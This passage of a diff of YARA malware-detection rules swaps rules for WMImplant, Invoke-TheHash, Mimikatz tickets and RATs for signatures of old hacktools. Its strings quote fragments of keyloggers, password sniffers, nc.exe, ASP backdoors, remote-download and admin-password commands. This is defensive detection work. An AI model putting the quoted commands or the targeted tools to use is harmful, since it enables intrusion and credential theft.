+		logic_hash = "a58a2336e7d714a2e7f60eec8dacbee9a7190552dd791d8b6eba084ffaf0904a"
+		score = 60
+		quality = 35
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$xc1 = { 37 00 63 00 38 00 63 00 62 00 35 00 35 00 39 00
-               38 00 65 00 37 00 32 00 34 00 64 00 33 00 34 00
-               33 00 38 00 34 00 63 00 63 00 65 00 37 00 34 00
-               30 00 32 00 62 00 31 00 31 00 66 00 30 00 65 }
-		$xc2 = { 4D 61 69 6E 00 43 6C 61 73 73 4C 69 62 72 61 72
-               79 31 00 70 63 31 65 }
-		$s1 = ".dll" wide
-		$s2 = "%&%,%s%" ascii fullword
-		$op1 = { a2 87 fa b1 44 a5 f5 12 da a7 49 11 5c 8c 26 d4 75 }
-		$op2 = { d7 af 52 38 c7 47 95 c8 0e 88 f3 d5 0b }
-		$op3 = { 6c 05 df d6 b8 ac 11 f2 67 16 cb b7 34 4d b6 91 }
+		$s0 = "editKeyLog.exe KeyLog.exe," fullword ascii
+		$s1 = "WinEggDrop.DLL" fullword ascii
+		$s2 = "nc.exe" fullword ascii
+		$s3 = "KeyLog.exe" fullword ascii
+		$s4 = "EditKeyLog.exe" fullword ascii
+		$s5 = "wineggdrop" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1000KB and (1 of ($x*) or 3 of them )
+		3 of them
 }
-rule SIGNATURE_BASE_MAL_Unknown_Discord_Characteristics_Jan22_1 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Passsniffer_Zip_Folder_Readme
 {
 	meta:
-		description = "Detects unknown malware with a few indicators also found in Wiper malware"
+		description = "Disclosed hacktool set (old stuff) - file readme.txt"
 		author = "Florian Roth (Nextron Systems)"
-		id = "23ee5319-6a72-517b-8ea0-55063b6b862c"
-		date = "2022-01-16"
+		id = "f5965aa8-0f78-56fd-8e3e-6dc013942cb3"
+		date = "2014-11-23"
 		modified = "2023-12-05"
-		reference = "https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ua_wiper_whispergate.yar#L103-L119"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f9cf4a15be0ab35a0d0f0c9b1a191f623f905c8fc9da651872de7c025a27a806"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L1845-L1860"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "a52545ae62ddb0ea52905cbb61d895a51bfe9bcd"
+		logic_hash = "d9e6cd2ba7e98481664b0560184a07349bb471dd370c4b73ef5f5f05a8e89946"
+		score = 60
 		quality = 85
-		tags = "FILE"
-		hash1 = "dcbbae5a1c61dbbbb7dcd6dc5dd1eb1169f5329958d38b58c3fd9384081c9b78"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "xownxloxadDxatxxax" wide
-		$s2 = "https://cdn.discordapp.com/attachments/" wide
+		$s0 = "PassSniffer.exe" fullword ascii
+		$s1 = "POP3/FTP Sniffer" fullword ascii
+		$s2 = "Password Sniffer V1.0" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1000KB and all of them
+		1 of them
 }
-rule SIGNATURE_BASE_Beepservice_Hacktool : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Sig_238_Gina
 {
 	meta:
-		description = "Detects BeepService Hacktool used by Chinese APT groups"
+		description = "Disclosed hacktool set (old stuff) - file gina.reg"
 		author = "Florian Roth (Nextron Systems)"
-		id = "8813a01a-10db-52e7-bb1e-322864e87b15"
-		date = "2016-05-12"
+		id = "85c19493-e6d4-55e8-8526-6817243e90cf"
+		date = "2014-11-23"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/p32Ozf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_beepservice.yar#L10-L31"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "176136e8a5ffec258caebf8d6b452b556093c5998414a7c9a4451ad78482f862"
-		score = 85
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L1862-L1877"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "324acc52566baf4afdb0f3e4aaf76e42899e0cf6"
+		logic_hash = "f0ece7406a31f5a4212da5c4144233c5c45b8120d09267fdf7e291d6c9827384"
+		score = 60
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "032df812a68852b6f3822b9eac4435e531ca85bdaf3ee99c669134bd16e72820"
-		hash2 = "e30933fcfc9c2a7443ee2f23a3df837ca97ea5653da78f782e2884e5a7b734f7"
-		hash3 = "ebb9c4f7058e19b006450b8162910598be90428998df149977669e61a0b7b9ed"
-		hash4 = "6db2ffe7ec365058f9d3b48dcca509507c138f19ade1adb5f13cf43ea0623813"
 
 	strings:
-		$x1 = "\\\\%s\\admin$\\system32\\%s" fullword ascii
-		$s1 = "123.exe" fullword ascii
-		$s2 = "regclean.exe" fullword ascii
-		$s3 = "192.168.88.69" fullword ascii
+		$s0 = "\"gina\"=\"gina.dll\"" fullword ascii
+		$s1 = "REGEDIT4" fullword ascii
+		$s2 = "[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon]" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and $x1 and 1 of ($s*)
+		all of them
 }
-rule SIGNATURE_BASE_Mimikatz_Kirbi_Ticket : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Splitjoin
 {
 	meta:
-		description = "KiRBi ticket for mimikatz"
-		author = "Benjamin DELPY (gentilkiwi); Didier Stevens"
-		id = "a37249e0-ab3b-50c2-9473-1e69185713cc"
-		date = "2023-12-05"
+		description = "Disclosed hacktool set (old stuff) - file splitjoin.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "2f1a69cd-34b3-5af0-a054-fe19d9becb25"
+		date = "2014-11-23"
 		modified = "2023-12-05"
 		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_kirbi_mimkatz.yar#L10-L23"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2a62c24954d64346e419985ef5bf2b357b2aee41ac6b33d379dbd65cf5c9f92b"
-		score = 75
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L1879-L1895"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "e4a9ef5d417038c4c76b72b5a636769a98bd2f8c"
+		logic_hash = "dede4518ed9be28e89bc67dab4e68503383c16746f088f37a4c8069e256183ca"
+		score = 60
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$asn1 = { 76 82 ?? ?? 30 82 ?? ?? a0 03 02 01 05 a1 03 02 01 16 }
-		$asn1_84 = { 76 84 ?? ?? ?? ?? 30 84 ?? ?? ?? ?? a0 84 00 00 00 03 02 01 05 a1 84 00 00 00 03 02 01 16 }
+		$s0 = "Not for distribution without the authors permission" fullword wide
+		$s2 = "Utility to split and rejoin files.0" fullword wide
+		$s5 = "Copyright (c) Angus Johnson 2001-2002" fullword wide
+		$s19 = "SplitJoin" fullword wide
 
 	condition:
-		$asn1 at 0 or $asn1_84 at 0
+		all of them
 }
-rule SIGNATURE_BASE_Saudi_Phish_Trojan : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Editkeylog
 {
 	meta:
-		description = "Detects a trojan used in Saudi Aramco Phishing"
+		description = "Disclosed hacktool set (old stuff) - file EditKeyLog.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "d805391d-1256-5dac-8585-ccf3391d4e91"
-		date = "2017-10-12"
+		id = "db083c04-9e5c-5cfd-b4d4-eecf28191b6b"
+		date = "2014-11-23"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/Z3JUAA"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_saudi_aramco_phish.yar#L10-L27"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f7199d2e408cc057d88234e4041c7d87652d1ed361eaaf75bb37da45900e9f38"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L1897-L1913"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "a450c31f13c23426b24624f53873e4fc3777dc6b"
+		logic_hash = "0efb173598117857c5bf7894f017d655653e843dd0a44439d1b10b7e5c59b248"
+		score = 60
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "8ad94dc5d59aa1e9962c76fd5ca042e582566049a97aef9f5730ba779e5ebb91"
 
 	strings:
-		$s1 = { 7B 00 30 00 7D 00 7B 00 31 00 7D 00 5C 00 00 09
-               2E 00 64 00 6C 00 6C 00 00 11 77 00 33 00 77 00
-               70 00 2E 00 65 00 78 00 65 00 00 1B 61 00 73 00
-               70 00 6E 00 65 00 74 00 5F 00 77 00 70 00 2E 00
-               65 00 78 00 65 }
+		$s1 = "Press Any Ke" fullword ascii
+		$s2 = "Enter 1 O" fullword ascii
+		$s3 = "Bon >0 & <65535L" fullword ascii
+		$s4 = "--Choose " fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <3000KB and 1 of them )
+		all of them
 }
-rule SIGNATURE_BASE_Wmimplant
+import "pe"
+
+rule SIGNATURE_BASE_Passsniffer
 {
 	meta:
-		description = "Auto-generated rule - file WMImplant.ps1"
+		description = "Disclosed hacktool set (old stuff) - file PassSniffer.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "18dadc55-e12f-5c4c-9e11-27dc2d6c8dd2"
-		date = "2017-03-24"
+		id = "f5965aa8-0f78-56fd-8e3e-6dc013942cb3"
+		date = "2014-11-23"
 		modified = "2023-12-05"
-		reference = "https://www.fireeye.com/blog/threat-research/2017/03/wmimplant_a_wmi_ba.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_wmi_implant.yar#L10-L28"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6422514d25b723e7ab92c1af1301e51d9a93aa41da98791d96c4754a91b5a18e"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L1915-L1933"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "dcce4c577728e8edf7ed38ac6ef6a1e68afb2c9f"
+		logic_hash = "771b45473c48618c43c6be84dd37b2ccb23643f1674d437763cb78ce560067c0"
+		score = 60
 		quality = 85
 		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "860d7c237c2395b4f51b8c9bd0ee6cab06af38fff60ce3563d160d50c11d2f78"
 
 	strings:
-		$x1 = "Invoke-ProcessPunisher -Creds $RemoteCredential" fullword ascii
-		$x2 = "$Target -query \"SELECT * FROM Win32_NTLogEvent WHERE (logfile='security')" ascii
-		$x3 = "WMImplant -Creds" fullword ascii
-		$x4 = "-Download -RemoteFile C:\\passwords.txt" ascii
-		$x5 = "-Command 'powershell.exe -command \"Enable-PSRemoting" fullword ascii
-		$x6 = "Invoke-WMImplant" fullword ascii
+		$s2 = "Sniff" fullword ascii
+		$s3 = "GetLas" fullword ascii
+		$s4 = "VersionExA" fullword ascii
+		$s10 = " Only RuntUZ" fullword ascii
+		$s12 = "emcpysetprintf\\" ascii
+		$s13 = "WSFtartup" fullword ascii
 
 	condition:
-		1 of them
+		all of them
 }
-rule SIGNATURE_BASE_Invoke_Smbexec : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Aspfile2
 {
 	meta:
-		description = "Detects Invoke-WmiExec or Invoke-SmbExec"
+		description = "Disclosed hacktool set (old stuff) - file aspfile2.asp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "07c742f4-3039-5c84-81d4-73ad25b98681"
-		date = "2017-06-14"
+		id = "42bbcc16-a6d7-53d7-8651-1a28c6b26ee8"
+		date = "2014-11-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Kevin-Robertson/Invoke-TheHash"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_invoke_thehash.yar#L12-L30"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "cc9feb7d4eadfc470aabf18d82c884f454ebcdd37f3ca6b0ee4b3634cd9e33ae"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L1935-L1951"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "14efbc6cb01b809ad75a535d32b9da4df517ff29"
+		logic_hash = "0fd52e646751b14840f30100382c5171fd001c05110dccb4ac87be9b2c4b6131"
+		score = 60
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "674fc045dc198874f323ebdfb9e9ff2f591076fa6fac8d1048b5b8d9527c64cd"
 
 	strings:
-		$x1 = "Invoke-SMBExec -Target" fullword ascii
-		$x2 = "$packet_SMB_header = Get-PacketSMBHeader 0x71 0x18 0x07,0xc8 $SMB_tree_ID $process_ID_bytes $SMB_user_ID" fullword ascii
-		$s1 = "Write-Output \"Command executed with service $SMB_service on $Target\"" fullword ascii
-		$s2 = "$packet_RPC_data = Get-PacketRPCBind 1 0xb8,0x10 0x01 0x00,0x00 $SMB_named_pipe_UUID 0x02,0x00" fullword ascii
-		$s3 = "$SMB_named_pipe_bytes = 0x73,0x00,0x76,0x00,0x63,0x00,0x63,0x00,0x74,0x00,0x6c,0x00 # \\svcctl" fullword ascii
+		$s0 = "response.write \"command completed success!\" " fullword ascii
+		$s1 = "for each co in foditems " fullword ascii
+		$s3 = "<input type=text name=text6 value=\"<%= szCMD6 %>\"><br> " fullword ascii
+		$s19 = "<title>Hello! Welcome </title>" fullword ascii
 
 	condition:
-		( filesize <400KB and 1 of them )
+		all of them
 }
-rule SIGNATURE_BASE_Invoke_Wmiexec_Gen_1
+import "pe"
+
+rule SIGNATURE_BASE_Unpack_Rar_Folder_Injectt
 {
 	meta:
-		description = "Detects Invoke-WmiExec or Invoke-SmbExec"
+		description = "Disclosed hacktool set (old stuff) - file InjectT.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "08b79c7d-c383-5891-af0f-31a92f1ed07d"
-		date = "2017-06-14"
+		id = "cc7d1a36-1214-5a14-8589-9eb2339a8700"
+		date = "2014-11-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Kevin-Robertson/Invoke-TheHash"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_invoke_thehash.yar#L32-L51"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "12aeba5255527a337c49f1c4d1dc506a13ea02da69a8fc509c77bcb07c2135c8"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L1953-L1976"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "80f39e77d4a34ecc6621ae0f4d5be7563ab27ea6"
+		logic_hash = "f9d682a9438f49cf8292c33e680537d8c2137b8cba2670430b92d0a620de85b9"
+		score = 60
 		quality = 85
 		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "140c23514dbf8043b4f293c501c2f9046efcc1c08630621f651cfedb6eed8b97"
-		hash2 = "7565d376665e3cd07d859a5cf37c2332a14c08eb808cc5d187a7f0533dc69e07"
 
 	strings:
-		$x1 = "Invoke-WMIExec " ascii
-		$x2 = "$target_count = [System.math]::Pow(2,(($target_address.GetAddressBytes().Length * 8) - $subnet_mask_split))" fullword ascii
-		$s1 = "Import-Module $PWD\\Invoke-TheHash.ps1" fullword ascii
-		$s2 = "Import-Module $PWD\\Invoke-SMBClient.ps1" fullword ascii
-		$s3 = "$target_address_list = [System.Net.Dns]::GetHostEntry($target_long).AddressList" fullword ascii
-		$x4 = "Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0" ascii
+		$s0 = "%s -Install                          -->To Install The Service" fullword ascii
+		$s1 = "Explorer.exe" fullword ascii
+		$s2 = "%s -Start                            -->To Start The Service" fullword ascii
+		$s3 = "%s -Stop                             -->To Stop The Service" fullword ascii
+		$s4 = "The Port Is Out Of Range" fullword ascii
+		$s7 = "Fail To Set The Port" fullword ascii
+		$s11 = "\\psapi.dll" ascii
+		$s20 = "TInject.Dll" fullword ascii
+		$x1 = "Software\\Microsoft\\Internet Explorer\\WinEggDropShell" fullword ascii
+		$x2 = "injectt.exe" fullword ascii
 
 	condition:
-		1 of them
+		(1 of ($x*)) and (3 of ($s*))
 }
-rule SIGNATURE_BASE_Invoke_Smbexec_Invoke_Wmiexec_1
+import "pe"
+
+rule SIGNATURE_BASE_Jc_Wineggdrop_Shell
 {
 	meta:
-		description = "Auto-generated rule - from files Invoke-SMBExec.ps1, Invoke-WMIExec.ps1"
+		description = "Disclosed hacktool set (old stuff) - file Jc.WinEggDrop Shell.txt"
 		author = "Florian Roth (Nextron Systems)"
-		id = "fd1c6599-028d-5535-beb8-5b2658481b97"
-		date = "2017-06-14"
+		id = "219df3a1-fe1c-5d33-ab3e-1b3cbd104c9e"
+		date = "2014-11-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Kevin-Robertson/Invoke-TheHash"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_invoke_thehash.yar#L53-L70"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "feb2973cd7e2c221cd91ec543f1d943cf1b5d5d18fe74c8f7e58341f76f95b51"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L1978-L1997"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "820674b59f32f2cf72df50ba4411d7132d863ad2"
+		logic_hash = "af43980b4052cef56884e9d6bdbb12919f1a86420a3f189e30fba624ab37a420"
+		score = 60
 		quality = 85
 		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "674fc045dc198874f323ebdfb9e9ff2f591076fa6fac8d1048b5b8d9527c64cd"
-		hash2 = "b41bd54bbf119d153e0878696cd5a944cbd4316c781dd8e390507b2ec2d949e7"
 
 	strings:
-		$s1 = "$process_ID = $process_ID -replace \"-00-00\",\"\"" fullword ascii
-		$s2 = "Write-Output \"$Target did not respond\"" fullword ascii
-		$s3 = "[Byte[]]$packet_call_ID_bytes = [System.BitConverter]::GetBytes($packet_call_ID)" fullword ascii
+		$s0 = "Sniffer.dll" fullword ascii
+		$s4 = ":Execute net.exe user Administrator pass" fullword ascii
+		$s5 = "Fport.exe or mport.exe " fullword ascii
+		$s6 = ":Password Sniffering Is Running |Not Running " fullword ascii
+		$s9 = ": The Terminal Service Port Has Been Set To NewPort" fullword ascii
+		$s15 = ": Del www.exe                   " fullword ascii
+		$s20 = ":Dir *.exe                    " fullword ascii
 
 	condition:
-		all of them
+		2 of them
 }
-rule SIGNATURE_BASE_Invoke_Wmiexec_Gen
+import "pe"
+
+rule SIGNATURE_BASE_Aspbackdoor_Asp1
 {
 	meta:
-		description = "Auto-generated rule - from files Invoke-SMBClient.ps1, Invoke-SMBExec.ps1, Invoke-WMIExec.ps1, Invoke-WMIExec.ps1"
+		description = "Disclosed hacktool set (old stuff) - file asp1.txt"
 		author = "Florian Roth (Nextron Systems)"
-		id = "08b79c7d-c383-5891-af0f-31a92f1ed07d"
-		date = "2017-06-14"
+		id = "fa5128c5-efd5-55dd-880a-2952942e2035"
+		date = "2014-11-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Kevin-Robertson/Invoke-TheHash"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_invoke_thehash.yar#L72-L90"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1ee79b7ea576adb71bde903756cda7af22e55eee9c4c3964cc9edc8930083fa2"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L1999-L2017"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "9ef9f34392a673c64525fcd56449a9fb1d1f3c50"
+		logic_hash = "7ce1911d7524e9961f907f863b3966817bcad7a571c933dac6a76e1d8a1eeaf8"
+		score = 60
 		quality = 85
 		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "56c6012c36aa863663fe5536d8b7fe4c460565d456ce2277a883f10d78893c01"
-		hash2 = "674fc045dc198874f323ebdfb9e9ff2f591076fa6fac8d1048b5b8d9527c64cd"
-		hash3 = "b41bd54bbf119d153e0878696cd5a944cbd4316c781dd8e390507b2ec2d949e7"
 
 	strings:
-		$s1 = "$NTLMv2_hash = $HMAC_MD5.ComputeHash($username_and_target_bytes)" fullword ascii
-		$s2 = "$client_challenge = [String](1..8 | ForEach-Object {\"{0:X2}\" -f (Get-Random -Minimum 1 -Maximum 255)})" fullword ascii
-		$s3 = "$NTLM_hash_bytes = $NTLM_hash_bytes.Split(\"-\") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}" fullword ascii
+		$s0 = "param = \"driver={Microsoft Access Driver (*.mdb)}\" " fullword ascii
+		$s1 = "conn.Open param & \";dbq=\" & Server.MapPath(\"scjh.mdb\") " fullword ascii
+		$s6 = "set rs=conn.execute (sql)%> " fullword ascii
+		$s7 = "<%set Conn = Server.CreateObject(\"ADODB.Connection\") " fullword ascii
+		$s10 = "<%dim ktdh,scph,scts,jhqtsj,yhxdsj,yxj,rwbh " fullword ascii
+		$s15 = "sql=\"select * from scjh\" " fullword ascii
 
 	condition:
 		all of them
 }
-rule SIGNATURE_BASE_RAT_AAR
+import "pe"
+
+rule SIGNATURE_BASE_QQ_Zip_Folder_QQ
 {
 	meta:
-		description = "Detects AAR RAT"
-		author = "Kevin Breen <kevin@techanarchy.net>"
-		id = "42c1af80-cff3-505f-a3cb-35b7e34575e1"
-		date = "2014-01-04"
+		description = "Disclosed hacktool set (old stuff) - file QQ.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "30da6292-f670-5b73-985a-3028e20607be"
+		date = "2014-11-23"
 		modified = "2023-12-05"
-		reference = "http://malwareconfig.com/stats/AAR"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_rats_malwareconfig.yar#L1-L22"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a206b3f5cf6cc870135bc267b5baab8333422dc917efce6c66ee907690592d09"
-		score = 75
-		quality = 85
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L2019-L2039"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "9f8e3f40f1ac8c1fa15a6621b49413d815f46cfb"
+		logic_hash = "d2517c3646b9a3babfa767c5c57b4b576fda471c190ab66e1054c4de359713ad"
+		score = 60
+		quality = 35
 		tags = ""
-		maltype = "Remote Access Trojan"
-		filetype = "exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$a = "Hashtable"
-		$b = "get_IsDisposed"
-		$c = "TripleDES"
-		$d = "testmemory.FRMMain.resources"
-		$e = "$this.Icon" wide
-		$f = "{11111-22222-20001-00001}" wide
+		$s0 = "EMAIL:haoq@neusoft.com" fullword wide
+		$s1 = "EMAIL:haoq@neusoft.com" fullword wide
+		$s4 = "QQ2000b.exe" fullword wide
+		$s5 = "haoq@neusoft.com" fullword ascii
+		$s9 = "QQ2000b.exe" fullword ascii
+		$s10 = "\\qq2000b.exe" ascii
+		$s12 = "WINDSHELL STUDIO[WINDSHELL " fullword wide
+		$s17 = "SOFTWARE\\HAOQIANG\\" ascii
 
 	condition:
-		all of them
+		5 of them
 }
-rule SIGNATURE_BASE_RAT_Adzok
+import "pe"
+
+rule SIGNATURE_BASE_Unpack_Rar_Folder_Tback
 {
 	meta:
-		description = "Detects Adzok RAT"
-		author = "Kevin Breen <kevin@techanarchy.net>"
-		id = "93807f85-ae4e-5fd2-9010-ed2cf6f57f38"
-		date = "2015-01-05"
+		description = "Disclosed hacktool set (old stuff) - file TBack.DLL"
+		author = "Florian Roth (Nextron Systems)"
+		id = "f672f987-0d43-53df-8338-084907b6da16"
+		date = "2014-11-23"
 		modified = "2023-12-05"
-		reference = "http://malwareconfig.com/stats/Adzok"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_rats_malwareconfig.yar#L24-L48"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ee3291a4396ba6cb3c5e22229de4f5e45714b29bfeac1c56bde6d038a9d25458"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L2041-L2069"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "30fc9b00c093cec54fcbd753f96d0ca9e1b2660f"
+		logic_hash = "89f978742ab952b727a9a8dbab0cd88cfc07440e8c4f974dcfa14ed630083761"
+		score = 60
 		quality = 85
 		tags = ""
-		Versions = "Free 1.0.0.3,"
-		maltype = "Remote Access Trojan"
-		filetype = "jar"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$a1 = "config.xmlPK"
-		$a2 = "key.classPK"
-		$a3 = "svd$1.classPK"
-		$a4 = "svd$2.classPK"
-		$a5 = "Mensaje.classPK"
-		$a6 = "inic$ShutdownHook.class"
-		$a7 = "Uninstall.jarPK"
-		$a8 = "resources/icono.pngPK"
+		$s0 = "Redirect SPort RemoteHost RPort       -->Port Redirector" fullword ascii
+		$s1 = "http://IP/a.exe a.exe                 -->Download A File" fullword ascii
